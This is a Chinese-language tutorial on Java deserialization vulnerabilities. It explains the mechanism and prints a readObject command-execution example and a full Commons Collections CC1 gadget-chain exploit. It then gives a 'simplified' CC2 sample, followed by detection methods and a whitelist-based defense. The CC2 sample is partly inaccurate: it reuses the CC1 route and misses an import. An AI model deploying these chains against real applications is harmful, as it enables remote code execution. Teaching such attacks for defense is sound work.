Java对象反序列化的漏洞与防护

Java对象反序列化基础

在Java中，对象序列化是指将对象转换为字节流的过程，而反序列化则是将字节流重新转换回对象的过程。这个机制允许对象在网络上传输或存储到文件中，并在需要时重新恢复。

Java通过java.io.Serializable接口来标识一个类可以被序列化。例如，以下是一个简单的可序列化类：

import java.io.Serializable;

public class User implements Serializable {
    private String username;
    private String password;

    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public String getPassword() {
        return password;
    }
}

序列化对象通常使用ObjectOutputStream，而反序列化使用ObjectInputStream。以下是序列化和反序列化User对象的示例代码：

import java.io.*;

public class SerializationExample {
    public static void main(String[] args) {
        // 序列化
        User user = new User("admin", "password");
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
            oos.writeObject(user);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
            User deserializedUser = (User) ois.readObject();
            System.out.println("Username: " + deserializedUser.getUsername());
            System.out.println("Password: " + deserializedUser.getPassword());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

在上述代码中，首先创建了一个User对象并将其序列化到user.ser文件中。然后从该文件中反序列化出User对象，并打印其用户名和密码。

反序列化漏洞原理

Java对象反序列化漏洞的核心在于反序列化过程中，Java虚拟机（JVM）会根据字节流中的信息重建对象，并且在重建过程中可能会执行恶意代码。

当应用程序反序列化不受信任的数据时，攻击者可以精心构造恶意的字节流，使得反序列化过程触发一些危险的操作，比如执行系统命令、读取敏感文件、发起网络攻击等。

例如，考虑以下恶意类EvilObject：

import java.io.*;

public class EvilObject implements Serializable {
    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

在这个类中，重写了readObject方法。当这个类的对象被反序列化时，readObject方法会被调用，这里执行了打开计算器的系统命令（在Windows系统下）。

如果一个应用程序存在反序列化漏洞，攻击者可以构造包含EvilObject的字节流，发送给应用程序进行反序列化，从而导致恶意命令的执行。

常见的反序列化漏洞利用链

CC1链（Commons Collections 1）：这是最经典的反序列化漏洞利用链之一，主要利用org.apache.commons.collections.Transformer接口和相关类。
- 核心类和接口：
  - Transformer接口定义了一个transform方法，用于对输入对象进行转换。
  - ChainedTransformer类可以组合多个Transformer，按顺序执行它们的transform方法。
  - ConstantTransformer类返回一个固定的常量对象。
  - InvokerTransformer类可以通过反射调用对象的方法。
- 利用过程示例代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(java.lang.annotation.Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(instance);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

在上述代码中，首先构建了一个Transformer链，通过反射调用Runtime.getRuntime().exec("calc")。然后利用TransformedMap和AnnotationInvocationHandler等类构造出恶意对象，并将其序列化和反序列化，触发恶意代码执行。

CC2链：同样基于Commons Collections库，与CC1链有所不同的是利用方式和涉及的类。
- 核心利用思路：利用TemplatesImpl类的特性，通过反序列化触发恶意代码执行。TemplatesImpl类用于处理XSLT模板，其newTransformer方法在特定条件下会加载并执行恶意字节码。
- 示例代码（简化版示意）：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2Exploit {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Field nameField = templates.getClass().getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "Exploit");

        byte[] evilBytecode = getEvilBytecode();// 假设此方法返回恶意字节码
        Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{evilBytecode});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[0], new Object[0])
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(java.lang.annotation.Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(instance);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    private static byte[] getEvilBytecode() {
        // 此处应返回包含恶意代码的字节码
        return new byte[0];
    }
}

此代码通过修改TemplatesImpl类的内部字段，使其包含恶意字节码。然后通过Transformer链在反序列化过程中触发newTransformer方法，从而执行恶意字节码。

反序列化漏洞检测方法

代码审查：对涉及反序列化的代码进行详细审查是发现漏洞的重要手段。
- 查找所有调用ObjectInputStream.readObject的地方，检查输入数据的来源是否可信。如果输入数据来自不受信任的外部源，如网络请求、用户上传文件等，就需要特别小心。
- 审查自定义类的readObject方法，确保其中没有执行危险操作。例如，不应该在readObject方法中调用Runtime.exec等执行系统命令的方法，除非有严格的权限检查和输入验证。
- 对于使用第三方库的情况，检查库的版本是否存在已知的反序列化漏洞。例如，Commons Collections库的某些版本存在严重的反序列化漏洞，需要及时更新到安全版本。
静态分析工具：利用静态分析工具可以自动化地检测代码中的反序列化漏洞。
- FindBugs：这是一个流行的Java静态分析工具，可以检测出可能存在反序列化漏洞的代码模式。例如，它可以检测到在readObject方法中执行危险操作的代码，或者反序列化不受信任数据的情况。
- SonarQube：不仅可以检测代码质量问题，也能通过插件检测反序列化相关的安全漏洞。它可以对整个项目进行扫描，发现潜在的反序列化风险，并提供详细的报告和修复建议。
动态分析：在应用程序运行时进行动态分析也可以发现反序列化漏洞。
- 网络流量分析：通过分析应用程序的网络流量，特别是涉及对象序列化传输的部分，查看是否存在异常的序列化数据。恶意的序列化数据可能包含不常见的类名、方法调用等信息。
- 运行时监测：使用一些工具在应用程序运行时监测反序列化操作。例如，可以使用Java代理技术，在反序列化操作前后插入监测代码，记录反序列化的对象信息、调用栈等，以便发现异常的反序列化行为。

反序列化漏洞防护措施

输入验证：对反序列化的输入数据进行严格验证是防护反序列化漏洞的重要步骤。
- 白名单机制：维护一个允许反序列化的类的白名单。在反序列化之前，检查字节流中包含的类是否在白名单内。只有在白名单内的类才允许被反序列化。以下是一个简单的白名单验证示例：

import java.io.*;
import java.util.HashSet;
import java.util.Set;

public class WhitelistObjectInputStream extends ObjectInputStream {
    private static final Set<String> WHITELIST = new HashSet<>();

    static {
        WHITELIST.add("com.example.User");
    }

    public WhitelistObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!WHITELIST.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

在上述代码中，WhitelistObjectInputStream类继承自ObjectInputStream，并重写了resolveClass方法。在该方法中，检查要反序列化的类是否在白名单中，如果不在则抛出异常。 - 数据格式验证：除了验证类名，还需要对序列化数据的格式进行验证。例如，如果序列化数据应该遵循特定的协议或结构，需要确保输入数据符合该结构。可以使用正则表达式、JSON Schema等工具对数据格式进行验证。 2. 限制反序列化功能：如果可能，尽量限制反序列化功能的使用范围。 - 减少暴露面：避免在面向外部的接口中直接使用反序列化功能。如果必须使用，可以将反序列化操作封装在内部服务中，并通过严格的权限控制和认证机制进行访问。 - 仅在安全环境中使用：将反序列化操作限制在安全的内部环境中，确保输入数据来自可信源。例如，在企业内部网络中，只有经过认证和授权的系统之间才能进行对象的序列化和反序列化操作。 3. 使用安全的反序列化库：一些安全的反序列化库提供了额外的防护机制。 - Jackson：虽然Jackson主要用于JSON序列化和反序列化，但它也有一些安全特性。在反序列化时，可以配置严格的类型检查和属性访问控制，防止恶意数据导致的安全问题。 - Gson：同样是用于JSON处理的库，Gson在反序列化过程中可以通过自定义TypeAdapter等方式进行更细粒度的控制，提高反序列化的安全性。 4. 更新和打补丁：及时更新Java运行时环境、第三方库等相关组件，以修复已知的反序列化漏洞。 - Java版本更新：Oracle会定期发布Java的安全更新，其中可能包含对反序列化漏洞的修复。及时将Java运行时环境更新到最新版本可以避免一些已知的风险。 - 第三方库更新：对于使用的第三方库，如Commons Collections等，关注官方发布的安全版本，及时进行更新。例如，当Commons Collections出现反序列化漏洞时，升级到修复版本可以防止漏洞被利用。

通过综合运用上述检测和防护措施，可以有效降低Java应用程序中反序列化漏洞带来的安全风险。开发人员在编写涉及反序列化的代码时，应始终保持警惕，遵循安全最佳实践，确保应用程序的安全性。